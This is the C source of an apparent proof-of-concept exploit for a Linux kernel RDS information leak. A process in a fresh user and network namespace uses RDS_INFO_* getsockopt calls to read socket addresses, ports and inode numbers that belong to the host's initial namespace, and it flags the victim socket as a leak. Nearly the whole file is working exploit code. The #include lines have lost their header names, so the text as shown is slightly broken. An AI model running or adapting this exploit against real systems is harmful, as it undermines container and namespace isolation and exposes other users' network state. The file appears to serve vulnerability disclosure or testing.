/* PoC v2: RDS RDS_INFO_* cross-netns getsockopt leak. * Build: gcc poc_rds_info.c -o poc_rds_info * Run as root in init_net. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RDS #define AF_RDS 21 #endif #ifndef SOL_RDS #define SOL_RDS 276 #endif #define RDS_INFO_COUNTERS 10000 #define RDS_INFO_CONNECTIONS 10001 #define RDS_INFO_SEND_MESSAGES 10003 #define RDS_INFO_RETRANS_MESSAGES 10004 #define RDS_INFO_RECV_MESSAGES 10005 #define RDS_INFO_SOCKETS 10006 #define RDS_INFO_TCP_SOCKETS 10007 #define RDS6_INFO_CONNECTIONS 10011 #define RDS6_INFO_SOCKETS 10015 #define RDS6_INFO_TCP_SOCKETS 10016 struct rds_info_socket { uint32_t sndbuf; uint32_t bound_addr; uint32_t connected_addr; uint16_t bound_port; uint16_t connected_port; uint32_t rcvbuf; uint64_t inum; } __attribute__((packed)); #define VICTIM_PORT 4242 static const char *opt_name(int o) { switch(o){case 10000:return "COUNTERS";case 10001:return "CONNECTIONS"; case 10003:return "SEND_MSG";case 10004:return "RETRANS_MSG"; case 10005:return "RECV_MSG";case 10006:return "SOCKETS"; case 10007:return "TCP_SOCKETS";case 10011:return "6_CONNECTIONS"; case 10015:return "6_SOCKETS";case 10016:return "6_TCP_SOCKETS";} return "?"; } static void probe_one(int s, int opt, const char *who) { char buf[8192]; socklen_t len = sizeof(buf); int rc = getsockopt(s, SOL_RDS, opt, buf, &len); if (rc < 0) { fprintf(stderr, "[%s] getsockopt(%s) rc=%d errno=%d (%s)\n", who, opt_name(opt), rc, errno, strerror(errno)); return; } int each = rc; int nentries = each ? (int)len / each : 0; fprintf(stderr, "[%s] getsockopt(%s) rc=%d (each=%d) len=%u -> %d entries\n", who, opt_name(opt), rc, each, (unsigned)len, nentries); if (opt == RDS_INFO_SOCKETS && nentries > 0) { struct rds_info_socket *si = (void *)buf; for (int i = 0; i < nentries; i++) { char b[32]; inet_ntop(AF_INET, &si[i].bound_addr, b, sizeof(b)); fprintf(stderr, " [%d] bound=%s:%u inum=%llu sndbuf=%u rcvbuf=%u\n", i, b, ntohs(si[i].bound_port), (unsigned long long)si[i].inum, si[i].sndbuf, si[i].rcvbuf); if (si[i].bound_addr == htonl(0x7f000001) && ntohs(si[i].bound_port) == VICTIM_PORT) { fprintf(stderr, " *** LEAK: this is the victim's init_net socket " "(127.0.0.1:%u) — visible from attacker's fresh netns ***\n", VICTIM_PORT); } } } } static void probe_count(int s, int opt, const char *who) { /* len=0 -> kernel returns -ENOSPC + total in optlen, exposing count */ char buf[1]; socklen_t len = 0; int rc = getsockopt(s, SOL_RDS, opt, buf, &len); fprintf(stderr, "[%s] count-probe(%s) rc=%d errno=%d optlen-after=%u\n", who, opt_name(opt), rc, errno, (unsigned)len); } int main(void) { /* Step 1: Victim socket in init_net. */ int v = socket(AF_RDS, SOCK_SEQPACKET, 0); if (v < 0) { perror("victim socket(AF_RDS)"); return 2; } struct sockaddr_in vsin = { .sin_family = AF_INET, .sin_port = htons(VICTIM_PORT) }; inet_pton(AF_INET, "127.0.0.1", &vsin.sin_addr); if (bind(v, (struct sockaddr *)&vsin, sizeof(vsin)) < 0) { perror("victim bind"); return 2; } fprintf(stderr, "[victim] AF_RDS bound 127.0.0.1:%d in init_net (root)\n", VICTIM_PORT); /* Step 1b: probe from init_net to confirm rds_info works at all */ int probe = socket(AF_RDS, SOCK_SEQPACKET, 0); if (probe >= 0) { probe_count(probe, RDS_INFO_SOCKETS, "init-probe"); probe_one(probe, RDS_INFO_SOCKETS, "init-probe"); probe_count(probe, RDS_INFO_TCP_SOCKETS, "init-probe"); probe_one(probe, RDS_INFO_COUNTERS, "init-probe"); close(probe); } /* Step 2: fork attacker into fresh user_ns + netns. */ int pipefd[2]; pipe(pipefd); pid_t pid = fork(); if (pid == 0) { close(pipefd[0]); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { perror("unshare"); _exit(2); } int fd; char b[64]; int n; if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) { write(fd, "deny", 4); close(fd); } fd = open("/proc/self/uid_map", O_WRONLY); n = snprintf(b, sizeof(b), "0 0 1\n"); write(fd, b, n); close(fd); fd = open("/proc/self/gid_map", O_WRONLY); n = snprintf(b, sizeof(b), "0 0 1\n"); write(fd, b, n); close(fd); char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63); if (rl > 0) nsa[rl] = 0; fprintf(stderr, "[attacker] in netns=%s uid=%u\n", nsa, getuid()); int a = socket(AF_RDS, SOCK_SEQPACKET, 0); if (a < 0) { perror("[attacker] socket(AF_RDS)"); _exit(2); } fprintf(stderr, "[attacker] AF_RDS opened in fresh netns -> fd=%d\n", a); probe_count(a, RDS_INFO_SOCKETS, "attacker"); probe_one(a, RDS_INFO_SOCKETS, "attacker"); probe_count(a, RDS_INFO_TCP_SOCKETS, "attacker"); probe_one(a, RDS_INFO_TCP_SOCKETS, "attacker"); probe_count(a, RDS_INFO_CONNECTIONS, "attacker"); probe_one(a, RDS_INFO_COUNTERS, "attacker"); close(a); write(pipefd[1], "x", 1); _exit(0); } close(pipefd[1]); char tmp; read(pipefd[0], &tmp, 1); int status; waitpid(pid, &status, 0); close(v); return 0; }